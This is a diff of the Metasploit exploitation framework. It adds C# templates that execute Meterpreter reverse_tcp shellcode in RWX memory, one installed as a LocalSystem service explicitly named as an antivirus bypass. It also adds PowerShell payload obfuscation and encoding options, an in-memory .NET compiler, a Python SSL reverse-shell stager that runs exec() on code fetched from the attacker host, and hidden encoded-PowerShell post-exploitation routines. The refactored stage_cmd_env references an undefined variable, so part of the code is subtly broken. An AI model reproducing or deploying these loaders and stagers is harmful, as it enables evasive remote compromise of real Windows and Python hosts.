external/source/psh_exe/dot_net_exe.cs vendored Normal file
View File

@ -0,0 +1,86 @@
using System;
using System.Runtime.InteropServices;
namespace Wrapper
{
class Program
{
[Flags]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
public enum FreeType : uint
{
MEM_DECOMMIT = 0x4000,
MEM_RELEASE = 0x8000
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
static void Main()
{
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] sc = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
sc[i] = Convert.ToByte(shellcode[i]);
}
// Allocate RWX memory for the shellcode
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
try
{
// Copy shellcode to RWX buffer
Marshal.Copy(sc, 0, baseAddr, sc.Length);
// Get pointer to function created in memory
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
del();
}
finally
{
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
}
}
}

View File

@ -0,0 +1,221 @@
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
using System.Timers;
using Timer = System.Timers.Timer;
namespace Wrapper
{
class Program : ServiceBase
{
#region Fields
private static Timer _timer;
#endregion
#region PInvoke Setup
[Flags]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
public enum FreeType : uint
{
MEM_DECOMMIT = 0x4000,
MEM_RELEASE = 0x8000
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
#endregion
#region Constructors
public Program()
{
ServiceName = "MsfDynSvc";
_timer = new Timer
{
Interval = 20000 // 20 seconds
};
_timer.Elapsed += RunShellCode;
_timer.AutoReset = true;
}
#endregion
#region ServiceBase Methods
protected override void OnStart(string[] args)
{
base.OnStart(args);
_timer.Start();
}
protected override void OnStop()
{
base.OnStop();
_timer.Stop();
}
#endregion
static void Main()
{
Run(new Program());
}
private void RunShellCode(object sender, ElapsedEventArgs e)
{
_timer.Stop();
// only run shellcode if you can connect to localhost:445, due to endpoint protections
if (ConnectToLocalhost(445))
{
try
{
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] sc = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
sc[i] = Convert.ToByte(shellcode[i]);
}
// Allocate RWX memory for the shellcode
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
try
{
// Copy shellcode to RWX buffer
Marshal.Copy(sc, 0, baseAddr, sc.Length);
// Get pointer to function created in memory
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
// Run this in a separate thread, so that we can wait for it to die before continuing the timer
Thread thread = new Thread(() => del());
thread.Start();
thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
}
catch
{
// If the shellcode crashes, try to catch the crash here
}
finally
{
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
}
catch
{
// Eat it
}
}
_timer.Start();
}
private static bool ConnectToLocalhost(int port)
{
IPAddress localhost = IPAddress.Parse("127.0.0.1");
TcpClient tcpClient = new TcpClient();
bool isSuccess = false;
try
{
tcpClient.Connect(localhost, port);
isSuccess = true;
}
catch
{
// I know this is bad code-fu, but just eat the error
}
finally
{
if (tcpClient.Connected)
{
tcpClient.Close();
}
}
return isSuccess;
}
}
[RunInstaller(true)]
public class DotNetAVBypassServiceInstaller : Installer
{
public DotNetAVBypassServiceInstaller()
{
var processInstaller = new ServiceProcessInstaller();
var serviceInstaller = new ServiceInstaller();
//set the privileges
processInstaller.Account = ServiceAccount.LocalSystem;
serviceInstaller.DisplayName = "MsfDynSvc";
serviceInstaller.StartType = ServiceStartMode.Automatic;
//must be the same as what was set in Program's constructor
serviceInstaller.ServiceName = "MsfDynSvc";
Installers.Add(processInstaller);
Installers.Add(serviceInstaller);
}
public override void Install(System.Collections.IDictionary stateSaver)
{
base.Install(stateSaver);
ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name!
controller.Start();
}
}
}

View File

@ -0,0 +1,36 @@
using System;
using System.Reflection;
namespace Shellcode
{
class MainClass
{
public delegate uint Ret1ArgDelegate(uint arg1);
static uint PlaceHolder1(uint arg1) { return 0; }
unsafe static void Main(string[] args)
{
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] asmBytes = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
asmBytes[i] = Convert.ToByte(shellcode[i]);
}
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xdecafbad;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
}
}

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.30"
VERSION = "4.12.33"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -51,7 +51,8 @@ class Msf::Author
'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com',
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com',
'wvu' => 'wvu' + 0x40.chr + 'metasploit.com'
'wvu' => 'wvu' + 0x40.chr + 'metasploit.com',
'zeroSteiner' => 'zeroSteiner' + 0x40.chr + 'gmail.com'
}
#

View File

@ -13,6 +13,11 @@ module Exploit::Powershell
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
@ -187,16 +192,17 @@ module Exploit::Powershell
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
options.validate(datastore)
[ :persist, :prepend_sleep, :exec_in_place, :encode_final_payload,
:encode_inner_payload, :use_single_quotes, :no_equals, :method ].map { |opt|
opts[opt] ||= datastore["Powershell::#{opt}"]
}
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
command = Rex::Powershell::Command.cmd_psh_payload(pay,
payload_arch,

View File

@ -0,0 +1,184 @@
# -*- coding: binary -*-
module Msf
module Exploit::Powershell
module DotNet
def initialize(info = {})
super
register_advanced_options(
[
OptString.new('CERT_PATH', [false, 'Path on compiler host to .pfx fomatted certificate for signing' ]),
], self.class)
end
#
# Wrapper method for generating powershell code to compile .NET code
#
# @param opts [Hash] Data structure containing compiler options
#
# @return [String] Powershell code to execute compiler and necessary environment
def dot_net_compiler(opts = {})
#TODO:
# allow compilation entirely in memory with a b64 encoded product for export without disk access
# Dynamically assign assemblies based on dot_net_code require/includes
# Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
# Critical
begin
dot_net_code = opts[:harness]
if ::File.file?(dot_net_code)
dot_net_code = ::File.read(dot_net_code)
end
# Ensure we're not running ASCII-8bit through powershell
dot_net_code = dot_net_code.force_encoding('ASCII')
rescue => e
raise "Harness is invalid\n\n#{e}"
end
# Optional
provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
target = opts[:target] # Unless building assemblies in memory only
certificate = opts[:cert] # PFX certificate path
payload = opts[:payload]
# Configure .NET assemblies required to compile source
assemblies = ["mscorlib.dll", "System.Xml.dll", "System.Data.dll"]
if opts[:assemblies]
opts[:assemblies] = opts[:assemblies].split(',').map {|a| a.gsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
assemblies += opts[:assemblies]
end
assemblies = assemblies.uniq.compact
# Compiler options
compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
# Substitute payload tag with actual payload
if payload
dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
end
# Determine if binary is to be written out
var_gen_exe = target ? '$true' : '$false'
# Obfu
var_func = Rex::Text.rand_text_alpha(rand(4)+4)
var_code = Rex::Text.rand_text_alpha(rand(4)+4)
var_refs = Rex::Text.rand_text_alpha(rand(4)+4)
var_provider = Rex::Text.rand_text_alpha(rand(4)+4)
var_params = Rex::Text.rand_text_alpha(rand(4)+4)
var_output = Rex::Text.rand_text_alpha(rand(4)+4)
var_cert = Rex::Text.rand_text_alpha(rand(4)+4)
# The actual compiler source
compiler = <<EOS
function #{var_func} {
param (
[string[]] $#{var_code}
, [string[]] $references = @()
)
$#{var_provider} = New-Object #{provider}
$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
$#{var_params}.GenerateExecutable = #{var_gen_exe}
$#{var_params}.OutputAssembly = "#{target}"
$#{var_params}.GenerateInMemory = $true
$#{var_params}.CompilerOptions = "#{compiler_opts}"
# $#{var_params}.IncludeDebugInformation = $true
$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
if ( $#{var_output}.Errors.Count -gt 0 ) {
$#{var_output}.Errors |% { Write-Error $_.ToString() }
} else { return $#{var_output}.CompiledAssembly}
}
#{var_func} -#{var_code} @'
#{dot_net_code}
'@
EOS
if certificate and target
compiler << <<EOS
#{var_cert} = Get-PfxCertificate #{certificate}
Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
EOS
end
# PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
# x86 targets also need to be compiled in x86 powershell instance
run_32 = compiler_opts =~ /platform:x86/i ? true : false
if opts[:net_clr] and opts[:net_clr].to_i > 2 # PS before 3.0 natively uses NET 2
return elevate_net_clr(compiler, run_32, opts[:net_clr])
else
return compiler
end
end
#
# Wrapper to execute in alternate .NET environment
#
# @param ps_code [String] Powershell code to wrap in environment
# @param run_32 [TrueClass,FalseClass] Run in WOW64 environment
# @param net_ver [String] .NET CLR to wrap in
#
# @return [String] Executable environment wrapper
def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
exec_wrapper = <<EOS
function #{var_func} {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)]
[ScriptBlock]
$ScriptBlock
)
$#{var_run32} = $#{run_32.to_s}
if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
return
}
$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
@"
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v#{net_ver.to_f}"/>
<supportedRuntime version="v2.0.50727"/>
</startup>
</configuration>
"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
} else {
&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
}} finally {
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
$#{var_conf_path} | Remove-Item -Recurse
}
}
#{var_func} -ScriptBlock {
#{ps_code}
}
EOS
end
end
end
end

View File

@ -0,0 +1,66 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/python/reverse_tcp'
module Msf
###
#
# Complex reverse_tcp_ssl payload generation for Python
#
###
module Payload::Python::ReverseTcpSsl
include Msf::Payload::Python
include Msf::Payload::Python::ReverseTcp
#
# Generate the first stage
#
def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST']
}
generate_reverse_tcp_ssl(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
def supports_ssl?
true
end
def generate_reverse_tcp_ssl(opts={})
# Set up the socket
cmd = "import ssl,socket,struct\n"
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "s=ssl.wrap_socket(so)\n"
cmd << py_send_uuid if include_send_uuid
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd << "d=s.recv(l)\n"
cmd << "while len(d)<l:\n"
cmd << "\td+=s.recv(l-len(d))\n"
cmd << "exec(d,{'s':s})\n"
py_create_exec_stub(cmd)
end
def handle_intermediate_stage(conn, payload)
conn.put([payload.length].pack("N"))
end
end
end

View File

@ -3,375 +3,352 @@ require 'msf/core/exploit/powershell'
require 'msf/core/post/common'
module Msf
class Post
module Windows
class Post
module Windows
##
# Powershell exploitation routines
##
module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common
module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
], self.class)
end
#
# Returns true if powershell is installed
#
def have_powershell?
cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"')
return true if cmd_out =~ /Name.*Version.*InstanceId/m
return false
end
#
# Returns the Powershell version
#
def get_powershell_version
return nil unless have_powershell?
process, pid, c = execute_script('$PSVersionTable.PSVersion')
o = ''
while (d = process.channel.read)
if d == ""
if (Time.now.to_i - start < time_out) && (o == '')
sleep 0.1
else
break
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('Powershell::Post::timeout',
[true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
], self.class
)
end
else
o << d
end
end
o.scan(/[\d \-]+/).last.split[0,2] * '.'
end
#
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if {|p|
p['name'].downcase == 'powershell.exe'
}.map {|p| p['pid']}
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
return current_pids
end
#
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
ps_bin = datastore['Powershell::Post::force_wow64'] ?
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(script.to_s)
end
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
vprint_good("EXECUTING:\n#{ps_string}")
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
# Subtract prior PIDs from current
if greedy_kill
Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end
# Add to list of running processes
running_pids << cmd_out.pid
# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids.uniq, open_channels]
end
#
# Powershell scripts that are longer than 8000 bytes are split into 8000
# byte chunks and stored as CMD environment variables. A new powershell
# script is built that will reassemble the chunks and execute the script.
# Returns the reassembly script.
#
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while (index < compressed_script.size - 1)
# Define random, but serialized variable name
env_prefix = "%05d" % ((index + 8000)/8000)
env_variable = env_prefix + env_suffix
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable("
set_env_variable += "'#{env_variable}',"
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = encode_script(compress_script(set_env_variable))
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
# Increment index
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = encode_script(compress_script(reassemble_command))
return encoded_script
end
#
# Uploads a script into a Powershell session via memory (Powershell session types only).
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
#
def stage_psh_env(script)
begin
ps_script = read_script(script)
encoded_expression = encode_script(ps_script)
cleanup_commands = []
# Add entropy to script variable names
script_var = ps_script.rig.generate(4)
decscript = ps_script.rig.generate(4)
scriptby = ps_script.rig.generate(4)
scriptbybase = ps_script.rig.generate(4)
scriptbybasefull = ps_script.rig.generate(4)
if (encoded_expression.size > 14999)
print_error("Script size: #{encoded_expression.size} This script requires a stager")
arr = encoded_expression.chars.each_slice(14999).map(&:join)
print_good("Loading " + arr.count.to_s + " chunks into the stager.")
vararray = []
arr.each_with_index do |slice, index|
variable = ps_script.rig.generate(5)
vararray << variable
indexval = index+1
vprint_good("Loaded stage:#{indexval}")
session.shell_command("$#{variable} = \"#{slice}\"")
cleanup_commands << "Remove-Variable #{variable} -EA 0"
#
# Returns true if powershell is installed
#
def have_powershell?
cmd_exec('cmd.exe /c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
end
linkvars = ''
for var in vararray
linkvars = linkvars + " + $" + var
#
# Returns the Powershell version
#
def get_powershell_version
return nil unless have_powershell?
process, _pid, _c = execute_script('$PSVersionTable.PSVersion')
o = ''
while (d = process.channel.read)
if d == ""
if (Time.now.to_i - start < time_out) && (o == '')
sleep 0.1
else
break
end
else
o << d
end
end
o.scan(/[\d \-]+/).last.split[0, 2] * '.'
end
linkvars.slice!(0..2)
session.shell_command("$#{script_var} = #{linkvars}")
else
print_good("Script size: #{encoded_expression.size}")
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
end
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
print_good("Module loaded")
unless cleanup_commands.empty?
vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
session.shell_command("#{cleanup_commands.join(';')}")
end
rescue Errno::EISDIR => e
vprint_error("Unable to upload script: #{e.message}")
end
end
#
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''
if datastore['Powershell::Post::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
# Open log file for writing
fd = ::File.new(log_file, 'w+')
end
# Read output until eof or nil return output and write to log
while (1)
line = ::Timeout.timeout(read_wait) {
cmd_out.channel.read
} rescue nil
break if line.nil?
if (line.sub!(/#{eof}/, ''))
results << line
fd.write(line) if fd
#vprint_good("\t#{line}")
break
end
results << line
fd.write(line) if fd
#vprint_status("\n#{line}")
end
# Close log file
# cmd_out.channel.close()
fd.close() if fd
return results
#
# Incremental read method - NOT USED
#
# read_data = ''
# segment = 2**16
# # Read incrementally smaller blocks after each failure/timeout
# while segment > 0 do
# begin
# read_data << ::Timeout.timeout(read_wait) {
# cmd_out.channel.read(segment)
# }
# rescue
# segment = segment/2
# end
# end
end
#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(
script_file = nil,
eof = '',
running_pids =[],
open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8),
delete = false
)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
session.sys.process.kill(pid)
#
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
current_pids
end
#
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
ps_bin = datastore['Powershell::Post::force_wow64'] ?
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
script = encode_script(script.to_s)
end
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
vprint_good "EXECUTING:\n#{ps_string}"
cmd_out = session.sys.process.execute(ps_string, nil, { 'Hidden' => true, 'Channelized' => true })
# Subtract prior PIDs from current
if greedy_kill
Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end
# Add to list of running processes
running_pids << cmd_out.pid
# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!
# Add to list of open channels
open_channels << cmd_out
[cmd_out, running_pids.uniq, open_channels]
end
#
# Powershell scripts that are longer than 8000 bytes are split into 8000
# byte chunks and stored as CMD environment variables. A new powershell
# script is built that will reassemble the chunks and execute the script.
# Returns the reassembly script.
#
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while index < compressed_script.size - 1
# Define random, but serialized variable name
env_prefix = format("%05d%s", ((index + 8000) / 8000), env_suffix)
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable(" \
"'#{env_variable}'," \
"'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = encode_script(compress_script(set_env_variable))
# Stage the payload
print_good " - Bytes remaining: #{compressed_script.size - index}"
execute_script(encoded_stager, false)
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = encode_script(compress_script(reassemble_command))
encoded_script
end
#
# Uploads a script into a Powershell session via memory (Powershell session types only).
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
#
def stage_psh_env(script)
begin
ps_script = read_script(script)
encoded_expression = encode_script(ps_script)
cleanup_commands = []
# Add entropy to script variable names
script_var = ps_script.rig.generate(4)
decscript = ps_script.rig.generate(4)
scriptby = ps_script.rig.generate(4)
scriptbybase = ps_script.rig.generate(4)
scriptbybasefull = ps_script.rig.generate(4)
if encoded_expression.size > 14999
print_error "Script size: #{encoded_expression.size} This script requires a stager"
arr = encoded_expression.chars.each_slice(14999).map(&:join)
print_good "Loading #{arr.count} chunks into the stager."
vararray = []
arr.each_with_index do |slice, index|
